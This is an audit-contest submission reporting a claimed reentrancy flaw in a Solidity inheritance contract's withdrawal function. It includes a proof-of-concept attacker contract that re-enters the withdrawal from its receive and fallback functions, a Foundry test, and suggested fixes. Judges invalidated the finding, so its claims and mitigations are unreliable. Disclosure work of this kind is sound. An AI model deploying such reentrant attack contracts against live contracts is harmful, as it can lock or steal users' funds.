Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy in `InheritanceManager::withdrawInheritedFunds` could make the function inoperable

Description

The InheritanceManager::withdrawInheritedFunds can be reentered if one of the added beneficiaries is a malicious contract. Regardless of whether it drains the contract's funds or not, it could still render withdrawInheritedFunds inoperable, as it would fail to execute successfully.

function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
@> (bool success,) = beneficiary.call{value: amountPerBeneficiary}(""); // External call
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}

Impact

This could make the InheritanceManager::withdrawInheritedFunds function inoperable.

Tools Used

  • Slither

    INFO:Detectors:
    InheritanceManager.withdrawInheritedFunds(address) (src/InheritanceManager.sol#236-256) sends eth to arbitrary user
    Dangerous calls:
    \- (success,None) = beneficiary.call{value: amountPerBeneficiary}() (src/InheritanceManager.sol#246)
    Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations>
  • Manual Code Review

Proof of Concept

Add the following contract to the InheritanceManagerTest.t.sol file:

contract Attacker {
InheritanceManager inheritanceManager;
constructor(InheritanceManager _inheritanceManager) {
inheritanceManager = _inheritanceManager;
}
function attack() internal {
inheritanceManager.withdrawInheritedFunds(address(0));
}
receive() external payable {
attack();
}
fallback() external payable {
attack();
}
}

Then, add the following test function to the InheritanceManagerTest contract:

function test_exploitWithdrawInheritedFunds() public {
address user2 = makeAddr("user2");
Attacker attackerContract = new Attacker(im);
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(user2);
im.addBeneficiery(address(attackerContract));
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 9e18);
vm.warp(1 + 90 days);
vm.startPrank(user1);
im.inherit();
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
}

Now, the execution of this test function would revert, causing the withdrawal to fail due to the addition of attackerContract as a beneficiary, despite user1 and user2 being non-malicious/legal beneficiaries.

Recommended Mitigation

Even adding the available nonReentrant modifier wouldn't suffice in this case. So, the possible solutions could be:

Either, modify the InheritanceManager::withdrawInheritedFunds to withdraw the inherited funds per beneficiary individually instead of iterating, like:

error BeneficiaryDoesNotExist();
uint256 numberOfWithdrawals;
modifier isValidBeneficiary() {
bool beneficiaryExists;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
beneficiaryExists = true;
break;
}
}
if (!beneficiaryExists) {
revert BeneficiaryDoesNotExist();
}
_;
}
/**
* @dev called by the beneficiaries to disperse remaining assets within the contract in equal parts.
* @notice use address(0) to disperse ether
* @param _asset asset address to disperse
*/
function withdrawInheritedFunds(address _asset) external isValidBeneficiary {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length - numberOfWithdrawals;
numberOfWithdrawals += 1;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
(bool success,) = payable(msg.sender).call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
IERC20(_asset).safeTransfer(msg.sender, amountPerBeneficiary);
}
}

Or, simply add a check/modifier in the InheritanceManager::addBeneficiary function to prevent adding a contract address as a beneficiary, like:

error BeneficiaryCannotBeAContract();
modifier notContract(address account) {
uint256 size;
assembly {
size := extcodesize(account)
}
if (size > 0) {
revert BeneficiaryCannotBeAContract();
}
_;
}
/**
* @dev adds a beneficiary for possible inheritance of funds.
* @param _beneficiary beneficiary address
*/
function addBeneficiery(address _beneficiary) external onlyOwner notContract(_beneficiary) {
beneficiaries.push(_beneficiary);
_setDeadline();
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

syedasadkazmii Submitter
4 months ago
0xtimefliez Lead Judge
4 months ago
0xtimefliez Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.